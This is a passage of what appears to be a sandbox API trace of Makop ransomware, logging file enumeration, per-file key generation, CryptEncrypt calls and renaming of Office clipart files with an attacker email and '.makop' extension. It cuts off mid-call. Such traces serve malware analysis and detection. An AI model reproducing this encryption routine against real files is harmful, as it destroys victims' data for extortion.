[0153.005] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.005] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.009] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.009] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.010] GetProcessHeap () returned 0x48a0000 [0153.010] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.010] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.010] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.010] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.010] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.010] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.010] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.010] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.011] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.011] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.011] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.011] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x36dc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x36dc, lpOverlapped=0x0) returned 1 [0153.013] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x36e0, dwBufLen=0x36e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x36e0) returned 1 [0153.013] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.013] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x36e0, lpOverlapped=0x0) returned 1 [0153.014] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.014] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x37b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.014] SetEndOfFile (hFile=0xf0) returned 1 [0153.021] GetProcessHeap () returned 0x48a0000 [0153.021] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.021] GetProcessHeap () returned 0x48a0000 [0153.021] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.021] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.023] CloseHandle (hObject=0xf0) returned 1 [0153.023] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2135, dwReserved0=0x0, dwReserved1=0x0, cFileName="SWEST_01.MID", cAlternateFileName="")) returned 1 [0153.023] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0153.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.024] GetProcessHeap () returned 0x48a0000 [0153.025] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.025] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.025] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0153.029] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.029] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.029] GetProcessHeap () returned 0x48a0000 [0153.029] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.029] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.029] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.029] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.029] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.029] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.030] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.030] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.030] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.030] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.030] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2135, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2135, lpOverlapped=0x0) returned 1 [0153.032] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2140, dwBufLen=0x2140 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2140) returned 1 [0153.032] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.032] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2140, lpOverlapped=0x0) returned 1 [0153.033] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.033] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.034] SetEndOfFile (hFile=0xf0) returned 1 [0153.040] GetProcessHeap () returned 0x48a0000 [0153.041] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.041] GetProcessHeap () returned 0x48a0000 [0153.041] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.041] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.042] CloseHandle (hObject=0xf0) returned 1 [0153.043] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7065e700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7065e700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00110_.WMF", cAlternateFileName="")) returned 1 [0153.043] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF") returned 63 [0153.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.045] GetProcessHeap () returned 0x48a0000 [0153.045] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.045] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.045] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.045] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.045] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.045] GetProcessHeap () returned 0x48a0000 [0153.046] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.046] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.046] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.046] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.050] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.050] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.050] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.050] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.050] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.051] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.051] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.051] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4f0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4f0, lpOverlapped=0x0) returned 1 [0153.051] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f0) returned 1 [0153.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.051] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4f0, lpOverlapped=0x0) returned 1 [0153.052] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.052] SetEndOfFile (hFile=0xf0) returned 1 [0153.059] GetProcessHeap () returned 0x48a0000 [0153.059] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.059] GetProcessHeap () returned 0x48a0000 [0153.059] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.059] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.060] CloseHandle (hObject=0xf0) returned 1 [0153.060] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb76ecf00, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb76ecf00, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0x1844, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00127_.WMF", cAlternateFileName="")) returned 1 [0153.061] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF") returned 63 [0153.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.062] GetProcessHeap () returned 0x48a0000 [0153.062] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.062] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0153.067] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.067] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.067] GetProcessHeap () returned 0x48a0000 [0153.067] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.067] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.067] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.067] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.067] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.068] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.068] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.068] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.068] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.068] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.068] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.068] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.069] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1844, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1844, lpOverlapped=0x0) returned 1 [0153.070] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1850, dwBufLen=0x1850 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1850) returned 1 [0153.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.070] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1850, lpOverlapped=0x0) returned 1 [0153.071] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.071] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.071] SetEndOfFile (hFile=0xf0) returned 1 [0153.077] GetProcessHeap () returned 0x48a0000 [0153.077] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.078] GetProcessHeap () returned 0x48a0000 [0153.078] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.078] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.081] CloseHandle (hObject=0xf0) returned 1 [0153.081] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb62ee00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb62ee00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x81c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00132_.WMF", cAlternateFileName="")) returned 1 [0153.081] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: 